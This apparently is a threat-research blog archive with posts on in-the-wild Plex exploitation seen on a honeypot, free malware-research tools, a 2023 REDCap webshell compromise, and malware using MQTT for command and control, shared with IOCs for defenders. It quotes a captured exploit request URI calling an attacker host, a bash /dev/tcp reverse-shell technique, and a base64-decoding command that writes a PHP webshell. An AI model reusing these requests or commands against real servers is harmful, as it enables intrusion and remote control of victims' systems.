Showing posts with label malware. Show all posts
Showing posts with label malware. Show all posts

Saturday, October 17, 2026

Plex vulnerabilities being exploited in the wild to drop a cryptominer

Intro:

(No AI was involved in writing, research, etc...)

If you see weird fonts and spacing, blame Blogger. 


Skip to "In the wild exploitation" if you just care about that part. 

It's just a cryptominer. On one hand that's not a big deal for victims on the other hand, I don't get interesting c o n t e n t to write about. 

I wouldn't be surprised if threat actors deploy more sophisticated things. Plex may be hosted on residential IP and I think threat actors would love to have residential IP proxy to access corporate VPNs and emails. (edit: see update at the bottom. i do see proxy being deployed now)


Back on September 1st, 2026, Plex sent out emails and did a security announcement regarding important security updates. See the post here: https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319

As an infosec person and a Plex user, I was really curious about what this vuln was and if I could see in-the-wild exploitation. I set up a honeypot w/ a vulnerable Plex version running.

The details were limited and they said that they'd update the page with more details so I kept watching and didn't see anything. 

Finally, on Sep 26th, I saw some CVE's get published here: https://www.cvedetails.com/vulnerability-list/vendor_id-14994/year-2026/Plex.html  but none of them had CVSS score of 9+. They did contain a link to a blog post which was not released at the time. 

Link was to https://zmain.info/blog/plex2shell and release was supposed to be mid Oct so I waited and finally saw an update on Oct 16th (yesterday). The author had discovered and chained several vulns together to get remote code exec which was pretty cool. 

CVE's:

CVE-2026-96652

CVE-2026-96654

CVE-2026-96655

CVE-2026-96656 

Here's their code: https://github.com/code-zm/plex2shell/


I did do testing in the lab. Here are pcaps for detection/signature work: https://github.com/BoredHackerBlog/plex2shell_pcap


Plex2Shell In the wild exploitation:

My honeypot mostly saw scanning and generic exploitation attempts.  

As of this morning (Oct 17th), I finally saw in the wild exploitation.

So by default, I don't allow outbound traffic from my honeypots but due to how this vuln works, I had to go modify my settings later on so sadly I didn't get payloads for all the attacks. It's possible that I have partial data. I haven't gone through pcaps and I had to modify settings for tcpdump anyway. The attacker could be using slightly modified code & technique too.

 

Here's what I observed:

First exploitation attempt came from 45.194.92.222. From zeek logs:

 "uri": "/player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&protocol=http://127.0.0.1:32400/system/agents/z/searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23&port=8952&commandID=1&X-Plex-Target-Client-Identifier=poc_0cf927be72d2_17471",
  "user_agent": "Python-urllib/3.10",

 

The following two IP's were seen doing exploitation as well:

91.92.40.202

176.65.139.228 

 

I went back and changed my honeypot configuration to allow outbound traffic and saw continued exploitation from 45.194.92.222. 

This time I did see in the logs that there was a file download happening from 217.60.194.116.

 

 The following was contained inside of the docker file:


Of course it's a cryptominer. 

 

IOCs:

For detection of the attack, look at my github pcap link and source code from the main author. 

This is just for what was seen on the honeypot.

IP's responsible for exploitation as of writing this:

91.92.40.202

176.65.139.228

45.194.92.222 

176.65.139.228

Malicious file download source:  

217.60.194.116 (docker & x)

File hashes:

5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441  docker

68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7  x (upx packed)

b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49  x (upx unpacked)


EDIT: Oct 17th, 2nd update:

Seeing more activity and I dropped artifacts on Github. 

 

 

Saw "myawesomeproxy" running as well (I don't have time to analyze it but its on github now)

 

Hashes: 

e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9  myawesomeproxy

2d3c618b21a7e2f8bcd735da188e44a7609ff3f204832dd0781cd09e4388c9db  xmrig 

 

Here's what it prints when running:

"Running this software on any of your devices makes you agree to the potential external use of your internet traffic"

 

My sandbox reports for myawesomeproxy: 

https://app.any.run/tasks/570b38df-d866-4ac8-93c2-ed2792c3478f

https://tria.ge/261017-3ytcaady7p 

https://tria.ge/261018-ab8jgady9p


I see some traffic related to proxystream.st and found this: https://www.bitsight.com/blog/who-invited-aisuru-lan-party

similar sample found through googling: https://www.joesandbox.com/analysis/1934662/0/html

https://www.virustotal.com/gui/file/e4593f7938e76dfb40a3fe5358dfae231ef539a02ef3fda35bbccd6d2b7cdc22/detection


EDIT: Oct 18th, 2nd update

After not seeing much about this, I finally logged into my million year old reddit account and started this discussion to see if anyone else was impacted: https://www.reddit.com/r/PleX/comments/1x95krg/inthewild_exploitation_of_old_plex_servers/

The person who discovered the vuln did publish detections here: https://github.com/code-zm/plex2shell/tree/main/detection  

Friday, July 31, 2026

Doing malware research without spending money

Just doing a quick write up of tools I use to do malware/threat research for free. Most of the time, I don't really have any company directly backing the research/analysis stuff I put on this blog. I'm also not a professional malware analyst/threat researcher, for what its worth.

(I wrote this myself. No AI was used)

 

I do recommend these courses if your employer pays:

https://paralus.co/online/ - Applied Threat Intelligence/Operational Threat Intelligence - I've done this course and it goes over handling IOCs, pivoting, and more.

https://academy.intel-ops.io/courses/hunting-adversary-infra - Hunting Adversary Infrastructure - I haven't done this course but I've seen the authors work on Twitter and Medium and it was interesting.

 

Regarding articles and finding things to research:

Hunt.io blog (https://hunt.io/blog) and Censys Arc blog (https://censys.com/censys-arc/)  have info about interesting things they've come across.

I also use this: https://start.me/p/wMrA5z/cyber-threat-intelligence which has links to various other sites/blogs.

You can always come up with your own ideas based on what you see or what you think you should see in an attack.

 

There are a bunch of tools in start.me link but I'm just focusing on things I use.

There is obviously VirusTotal. 

You can search hashes, domains, IPs, and etc and do limited pivoting off of it or move to other tools.

For files, the Details tab provides binary info which may include things like pdb path, certificate info, imphash, etc that you can pivot from (using other tools) or search on Google.

Relations tab will let you find related domains/IPs/files, etc which may lead to additional files. In some cases, this will provide in-the-wild URL where this file was downloaded from.

Behavior tab has sandbox results which again may help find additional IOCs which may lead to more files. You may see yara/sigma/suricata rules in here as well that may help with pivoting.

 

VirusTotal free does not let you download files.

If you actually want files, you may be able to use AnyRun, Hybrid-Analysis, Triage, VXUG, and Abuse.ch to acquire files.  You may also be able to ask for files in certain Slack and Discord channels. Make friends!

 

AnyRun, Hybrid-Analysis, and Triage also support basic searches like hashes, IP's, and domains. 

You can also obtain pcaps, memory dumps, dropped files, and other behavior data from these products.

These tools may report suricata/snort signatures. You can view sigs on Evebox: https://rules.evebox.org/

Hybrid-Analysis researcher account also supports searching yara signatures/string searches to find files. 

AnyRun Intelligence (https://intelligence.any.run) lets you also do complex behavior searches like if you wanted to search for a family that specifically writes a file to one very specific location or uses a very specific command. They also let you do yara searches. 

 

Abuse.ch provides multiple products that may be useful for tracking malware campaigns. 

Malware Bazaar has files. You can pivot off of various fields too.

 

Feodo Tracker has C2 info. This could be useful if you wanna monitor C2 with emulated malware or use C2 info to do more pivoting.

URLhaus has URLs for malware. 

YARAify lets you do yara scans on files but besides that, you can search files that have matched yara rules. 

Malware Bazaar, URLhaus, Yaraify all give you options to get notified based on various things such as yara match,  URL match, etc... It's under Hunting Alerts option. 


URLScan is another tool I use. I think a lot of people use this but never use the filtering options. Free account has limits obviously. You can see filters here: https://docs.urlscan.io/pages/search-api-reference#searchable-fields 

 

 

For IP's/infra, you can use Shodan, Censys, and other tools (listed in start.me link). 

Shodan and Censys both let you pivot off of certain fields, such as favicon hash, content hash, cert info, html page title, etc.. 

 

You can utilize Greynoise and AbuseIPDB for IPs. You just have to make sure you look at timestamp for events you see. Threat actors can just use a VPS for an hour then get a new one and have a completely different IP. 

 

Finally,  Github search and other tools that search github are very useful. These two exist beside just GH search feature:

Sourcegraph - https://sourcegraph.com/search

Grep App - https://grep.app/ 

You can search Github for certain strings/variables names or commands you may see during your analysis. You may discover analysis from other people or maybe source code.

Friday, June 19, 2026

REDCap exploitation in 2023

Intro

I saw Google Threat Intelligence teams article regarding REDCap exploitation here: Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research - https://cloud.google.com/blog/topics/threat-intelligence/prc-targets-us-medical-research

"The earliest known compromise occurred in September 2023, after which GTIG observed a consistent operational pattern. The threat actor exploited externally facing REDCap (Research Electronic Data Capture) servers and deployed custom malware named INFINITERED to capture legitimate REDCap login credentials. " -from the article

They also said the following: "GTIG was not able to confirm how UNC6508 initially gained access to the REDCap server. " 

This article caught my attention because I (technically, Crowdstrike generated the alert) saw REDCap getting exploited in 2023 as well but it was different and I never got closure on how it was exploited. I did a ton of searching online and read patch notes but never figured out how the exploitation may have happened. 

The exploitation I saw was a bit different than what Google Threat Intelligence group saw. I'm posting this to share what I saw. 

 

Activity seen

This activity was observed in September 2023. 

Crowdstrike alerted on Apache process spawning some bash commands.

Apache server was hosting REDCap app. I'm unsure about the version. 

One of the commands was for doing bash reverse shell via bash -i >& /dev/tcp technique. 

Searching the rev shell destination IP shows a report by Fortinet regarding the IP exploiting TeamCity vuln in 2023 and actor potentially being APT29. (just mentioning what I saw. I'm not doing attribution. I also know what Pyramid of Pain is as well.)


There was another command that was executed. It was sh -c echo BASE64 | base64 -d | tee DIRECTORY/update.php

This wrote a basic php shell to disk, which took GET request w/ "update_process" AND "cmd" parameters and executed commands via system().

(I kept watching VirusTotal for the file hash and content expecting some web admin to find the file and upload it but I have not seen this file get uploaded. Could be because its easy to read and see its just a simple webshell)

 

Log review did not show any commands in URI's or provide clear info on how this exploitation could've happened. 

This may have been done via POST request, though some cookie values or headers, abuse of existing compromise, or some other way. I have no idea. The software isn't open source so there isn't anything I could've done further to research how the compromise happened. 


In 2024, assuming that the threat actor exploited more REDCap instances the same way, I did some research. I did find multiple (maybe about 50) compromised REDCap instances, all over the world. There were various REDCap versions seen being hosted on various servers (apache, nginx, etc..). It's always possible that an older version was exploited then the victim updated and I saw compromised server with different version.


Conclusion

Maybe check for file update.php w/ content  "update_process" AND "cmd" on your redcap server or check web traffic logs for URI containing update.php AND update_process AND cmd? I'd hope the file was detected and cleaned up by now since this happened in 2023.

I'd love to know more details about how the initial exploitation happened and what the attackers actually did afterwards.

At the end of the day, I'm just a soc analyst with limited telemetry and there is always another alert in the queue that needs to be worked... :( 

 

Tuesday, June 2, 2026

Use of MQTT in malware part 2: quick analysis

 
Note: I've had limited time to work on this. I took some time off to finish some training but wanted to finish this project as well since it's been sitting on my todo list for months. 
I'm not a professional malware analyst or threat intel person. I'm not super confident in my analysis. I also have a limited set of tools, services, and time. 

If text formatting/spacing sucks or you can't see images, it's Bloggers fault.  
 

Analysis 

I'm labeling by hashes. You should be able to copy them to VT, Triage, Hybrid-Analysis, and Anyrun to find sandbox reports, pcaps, etc... 
 
Python samples

There were multiple Python samples found. Also I kinda went for these samples because they would be relatively easy to analyze and some of them exhibited malicious behavior when looking at VT & sandbox results.

05d9f87cc1bc5272d37a0da8d8bb5a5732760c13f7745395ef388951ee3963ad

I'm guessing this was someone doing POC or testing because they had named their app trojan.py

 

They added persistence capability with startup. 

The analysis also shows screenshot ability, for Windows and Linux systems. 

 

 This sample also does IP info gathering, which might actually be an interesting behavior to look for when searching sandbox results containing broker traffic. Bunch of malware does similar with various IP lookup sites.

 

ae0b5e6dd44ecce8bdc6e71c32f007011d9dd991540e7bbf3831c72f894f0325

Another Python sample. This one also does persistence the same way, using Startup folder.

 

C2 setup

 

Command execution ability

 

It also seems to have ability to open URL and go through files. 

 

71071750fa9c9e1d9305bbb9a1f1ed75ee86bf42c0d25c12def512aae3d8b097

This sample actually used TLS/SSL communication with the broker. This sample was also very simple, well besides encryption & encoding.  


0551b908ae6233a709107c5a787f47206ed174d01ce937cee7975c969fa1b23e

This sample was actually manipulating Defender, setting up persistence, and hiding itself.  

 

 

The sample apparently can run on linux as well.

 

 

FCTRL/secure is used for communication

 

 5e69317295f1c6bf0a545261d6a814cf77c0132dacbe340cb1e605ab49436c15

 This is another sample that seems to do a lot of odd things.

Scheduled task is used for persistence 

 

Recovery settings are changed.

 

 There are various commands/abilities that you're provided

 

pctrtl topic is used in this case.

 

07e4e006a2c76fd19143d95af25d22dfc65d971f4a63db0d06e751ad4ce20d22

Final Python sample. This one also had various abilities, like screenshot, persistence, keylogger, etc.. 

There are actually multiple samples I came across that used the topic/shared key shown in this sample.

Persistence

 

 

keylogging 

 

Commands/abilities

 

 

Golang samples

I found three samples that were similar and they are being detected by AV but I don't think I've seen any write ups when I was searching for some of the function names. 

There were probably the most interesting samples I saw. The issue is, I'm not sure how prevalent these are, how they're spreading, and who's using them and for what. 

486aab85f1445776580ae854c25be52198e7e120d454daa14ce8e54bddb1326d

ffd9273d8de6b9ba66adc5a2acff0761061cdb89e1d0f4ca972b86ed004b23af

b3c1b4c66b99f970c892770ad64899ddd625cfa99707d7e3b351793d3048e30c

Communication seems to be done with /commands/ topic.  

 

 File path artifacts for .go files

 

 

 

 There are multiple commands and abilities but one of those that stood out is ability to install AnyDesk

 

 

Here are some other abilities/commands but I didn't really dive deeper into them. They're self-explanatory.  

 

 

 

Others 

ea78ccfbe0b8e91ffa8eec30f79192b0dc89c3434775914ccc575705146e59e9

This sample was interesting. File was UPX packed. (technically golang) It seems to be doing some SQL testing. This was one of the samples I didn't fully analyze.

Besides the broker, this also connects to netlify.  spiffy-crepe-c667e8[.]netlify[.]app. VT has a comment for this domain: "NKNShell Malware Distributed via VPN Website" - https://asec.ahnlab.com/en/91139/

This malware uses NKN protocol (https://nkn.org/) as well. 



Tools used

I used Ghidra, Wireshark, and MQTTExplorer. Triage and Hybrid-analysis both provide sandbox results and pcaps, memory dumps, dropped files, etc... 
 
For Python-based samples specifically, I just used web-based tools (obviously be aware of what kinda data you're handling before uploading it to random sites...)
 
 
 
 

End

 
There are things I would do differently if I had more time and resources. Doing complex queries on VT Enterprise or sandbox data would be one of the things. Broker connection + other weird behavior would find interesting things to look at.  
 
The other I'd love to do is monitor broker for C2 traffic but I mainly avoid that to avoid dealing with cryptography/math and I'm not sure if I'd see much anyway.  
 
I also didn't look for any ELF files or standalone scripts. I think those might be interesting, especially scripts if you can look for specific imports.

This was fun to look into for a bit but there are other more important security issues going on, obviously. 
 

Shoutouts

 
Thanks to Hybrid-Analysis/Crowdstrike and RecordedFuture/Hatching Triage for researcher accounts! <3 

Use of MQTT in malware

I'm alive but very busy!! 
It's been 10 years since I started this blog.
 
Changed the blog theme to dark mode because it's easier on the eyes. 
 
If text formatting/spacing sucks or you can't see images, it's Bloggers fault.  


Intro

 
Note: I've had limited time to work on this. I took some time off to finish some training but wanted to finish this project as well since it's been sitting on my todo list for months. 
I'm not a professional malware analyst or threat intel person. I'm not super confident in my analysis. I also have a limited set of tools, services, and time. 
 

What is MQTT?
MQTT is a pub/sub protocol, sometimes in IOT. It involves a broker/server where publishers and subscribers connect to, in order to send and/or receive messages/data. 
 
Usually there will be a topic or "channel" where sub/pub can happen. You can use wildcard and monitor everything for a specific topic. 
 
These links provide better explanation: 
 
MQTT uses port 1883 for clear text traffic, 8883 for TLS/SSL, and 443 over websocket. 
 
Reason for looking into this
I looked at Tox before. I'm looking at MQTT now. It's another protocol that can be abused for C2, data transfer, etc... 

  
(a message I got on discord) 

I often discuss using free services for doing offsec/threat stuff. There are some projects that already cover some of these services:  https://lots-project.com/ & https://lolfsaas.github.io/

There are a bunch of MQTT brokers that can be used for testing and also can be abused. 
 
 
(image from some fancy quotes site that came up in google images) 
 
The other reason I looked into this was because I thought it'd be easy to find some malware family and monitor a public broker & topic for what the malware is doing and get a presentation or at least a blog post out of it... 
 
One of the benefits of malware using public brokers is that you can monitor the specific topic being used and MQTT supporting wildcard makes it much easier.  
 

Known activity

 
While doing research into MQTT use by malware, I found several articles talking about it. 
 
"WailingCrab’s core component is its backdoor, which is installed on the system only if the malware’s initial stages are completed successfully. Since mid-2023, WailingCrab’s backdoor component has communicated with the C2 using the MQTT protocol which is a lightweight IoT messaging protocol. MQTT uses a publish/subscribe architecture, whereby messages are published to ‘topics’ and received by subscribers, with message distribution handled by a centralized broker. In this instance, WailingCrab uses the legitimate, third-party broker, broker.emqx[.]io, which allows it to hide the true address of the C2 server." 
 
"MQsTTang is a barebones backdoor that allows the attacker to execute arbitrary commands on a victim’s machine and get the output. Even so, it does present some interesting characteristics. Chief among these is its use of the MQTT protocol for C&C communication." 
 
 
 
Prevalence
So MQTT is def used/abused by threat actors but I'm not sure about the prevalence as I don't really have enough data. This might be one of the reasons nobody really cares too much about this until they find a sample using MQTT, which is completely fair. 
 

Finding samples

 
To look for samples, I started by making a list of free brokers that you can use for testing/dev. If I was a threat actor, I'd just use the free brokers.
 
 
I started by searching the domains on VirusTotal, AnyRun, Tria.ge, and Hybrid-Analysis. 
 
I mainly focused on VirusTotal and started going through some of the referring files or connecting files. 
 
Hybrid-Analysis also lead to a few samples.  

One thing I messed up and wasted time on was looking through VT and saw a bunch of similar files in Referring files section. I thought I was onto something and found some interesting undetected malware. It turned out to be GONC (Golang-based netcat tool): https://github.com/threatexpert/gonc#used-public-serversstun--mqtt
 
One of the biggest issues with looking for samples, especially with VT free is that I found a bunch of stuff that was just devs using free services for their projects.
 
Ideally, I would look for communication with MQTT brokers AND some other activity such as sandbox behavior or file attributes or content with queries or samples I had on disk. 
 
I manually found some samples that I thought were interesting based on what I saw in VT behavior and in Triage analysis and focused on analyzing those.  
 
I also avoided ELF/linux stuff and MQTT over wss to make my life easier.

Potential detections 

 
Network traffic analysis
For detection, you could look for:
- traffic to brokers
- MQTT traffic
- traffic on default MQTT ports
- traffic content with specific topics or patterns on MQTT ports (with suricata or snort) 
 
File detection
I didn't think about this very much. I guess you can look at strings for broker domains or MQTT libraries being imported.